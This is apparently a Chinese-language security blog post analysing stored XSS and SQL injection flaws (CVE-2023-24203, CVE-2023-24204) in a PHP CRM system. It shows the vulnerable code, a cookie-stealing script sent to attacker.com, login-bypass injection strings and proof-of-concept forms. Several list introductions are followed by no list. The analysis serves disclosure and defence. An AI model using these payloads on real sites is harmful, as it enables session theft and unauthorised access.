在不断发展的网络安全领域中,Web应用程序仍然是攻击者试图利用漏洞的主要目标。近期,在SourceCodester Simple Customer Relationship Management (CRM) System v1.0中发现了两个关键漏洞:CVE-2023-24203和CVE-2023-24204。这些漏洞涉及跨站脚本(XSS)和SQL注入,带来了包括任意代码执行和未授权访问在内的重大风险。理解这些漏洞及其影响对于开发人员和安全专业人员保护系统免受潜在威胁至关重要。
跨站脚本(XSS)是一种漏洞类型,当Web应用程序允许用户向其他用户查看的网页中注入恶意脚本时发生。这可能导致代表用户执行未经授权的操作、数据窃取以及进一步的利用。XSS漏洞可分为三种主要类型:
SQL注入是一种漏洞类型,当攻击者能够通过向查询中注入任意SQL代码来操纵SQL查询时发生。这可能导致未经授权的访问、数据窃取和其他恶意活动。SQL注入通常由于输入验证不足和缺乏参数化查询而发生。SQL注入的主要影响包括:
在这篇博文中,我们将深入探讨CVE-2023-24203和CVE-2023-24204,分析这些漏洞的具体细节、攻击向量、影响以及缓解策略。深入了解这些漏洞对于保护您的应用程序和数据免受潜在 exploits 至关重要。
SQL注入漏洞通常是输入验证不足和不良编码实践的结果。一些常见原因包括:
跨站脚本(XSS)漏洞通常是由于未能正确处理用户输入和输出引起的。常见原因包括:
CVE-2023-24203是SourceCodester Simple Customer Relationship Management (CRM) System v1.0中get-quote.php组件的一个存储型跨站脚本(XSS)漏洞。此漏洞允许攻击者向company和query参数中注入恶意脚本,这些脚本被存储在数据库中,并在管理员查看时执行,从而导致任意代码执行。
该漏洞位于处理报价请求表单用户输入的get-quote.php脚本中。PHP源代码如下所示:
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
该脚本从表单中获取用户输入(name、email、contact、company、services、other、query)并直接将其嵌入到SQL查询中以将数据存储到数据库中。虽然services输入使用mysqli_real_escape_string和addslashes进行了清理,但company和query参数在回显到响应时并未被正确清理或编码。这种缺乏适当清理和编码的做法允许恶意脚本被注入并存储到数据库中。
要利用此漏洞,攻击者可以构造一个包含恶意JavaScript代码的有效载荷,并将其放入company或query参数中。当管理员查看报价请求时,注入的脚本将在其浏览器中执行。
通过在query参数中提交以下有效载荷:
<script>alert('XSS');</script>
攻击者可以在管理员查看报价请求时触发XSS攻击。
可以构造更有危害的有效载荷来窃取管理员会话Cookie。通过在query参数中使用以下有效载荷:
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>
攻击者可以将管理员的Cookie发送到由攻击者控制的远程服务器。
<form method="post" action="get-quote.php">
<input type="text" name="company" value="CompanyX"><br>
<input type="text" name="query" value="<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>"><br>
<input type="submit" name="submit" value="Submit">
</form>
成功利用此存储型XSS漏洞允许攻击者在管理员浏览器上下文中执行任意JavaScript。这可能导致各种恶意行为,包括:
为了缓解此漏洞,必须对所有用户输入进行清理和编码,然后再将其合并到网页中。具体来说:
CVE-2023-24204是SourceCodester Simple Customer Relationship Management (CRM) System v1.0中get-quote.php和login.php组件的一个SQL注入漏洞。此漏洞允许攻击者向数据库注入任意SQL命令,可能导致未经授权的访问和数据操纵。
SQL注入漏洞存在于get-quote.php和admin/login.php两个脚本中。以下是对这些漏洞如何出现以及如何被利用的分析。
get-quote.php脚本处理来自报价请求表单的用户输入。源代码如下所示:
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
我们还看一下login.php源代码逻辑。
<?php
session_start();
error_reporting(0);
include("dbconnection.php");
if(isset($_POST['login']))
{
$ret=mysqli_query($con,"SELECT * FROM user WHERE email='".$_POST['email']."' and password='".$_POST['password']."'");
$num=mysqli_fetch_array($ret);
if($num>0)
{
$_SESSION['login']=$_POST['email'];
$_SESSION['id']=$num['id'];
$_SESSION['name']=$num['name'];
$val3 =date("Y/m/d");
date_default_timezone_set("Asia/Calcutta");
$time=date("h:i:sa");
$tim = $time;
$ip_address=$_SERVER['REMOTE_ADDR'];
$geopluginURL='http://www.geoplugin.net/php.gp?ip='.$ip_address;
$addrDetailsArr = unserialize(file_get_contents($geopluginURL));
$city = $addrDetailsArr['geoplugin_city'];
$country = $addrDetailsArr['geoplugin_countryName'];
ob_start();
system('ipconfig /all');
$mycom=ob_get_contents();
ob_clean();
$findme = "Physical";
$pmac = strpos($mycom, $findme);
$mac=substr($mycom,($pmac+36),17);
$ret=mysqli_query($con,"insert into usercheck(logindate,logintime,user_id,username,email,ip,mac,city,country)values('".$val3."','".$tim."','".$_SESSION['id']."','".$_SESSION['name']."','".$_SESSION['login']."','$ip_address','$mac','$city','$country')");
$extra="dashboard.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
else
{
$_SESSION['action1']="Invalid username or password";
$extra="login.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
}
?>
get-quote.php脚本没有对name参数进行充分的清理。攻击者可以使用Burp Suite等工具拦截请求,修改name参数,并注入恶意SQL命令。
login.php脚本由于对email和password字段缺乏适当的输入验证,存在身份验证绕过漏洞。攻击者可以使用诸如hack' or 1=1;#这样的有效载荷绕过身份验证并获得访问权限。
利用get-quote.php
' OR '1'='1';--
利用login.php
hack' or 1=1;#的有效载荷,在password字段中使用任意字符串。
<form method="post" action="login.php">
<input type="text" name="email" value="hack' or 1=1;#"><br>
<input type="password" name="password" value="password"><br>
<input type="submit" name="login" value="Login">
</form>
成功利用这些SQL注入漏洞可能导致各种恶意行为,包括:
为了缓解这些漏洞,必须实施适当的输入验证并使用参数化查询。具体来说:
通过遵循这些最佳实践,您可以显著降低SQL注入攻击的风险,并保护您的Web应用程序免受潜在利用。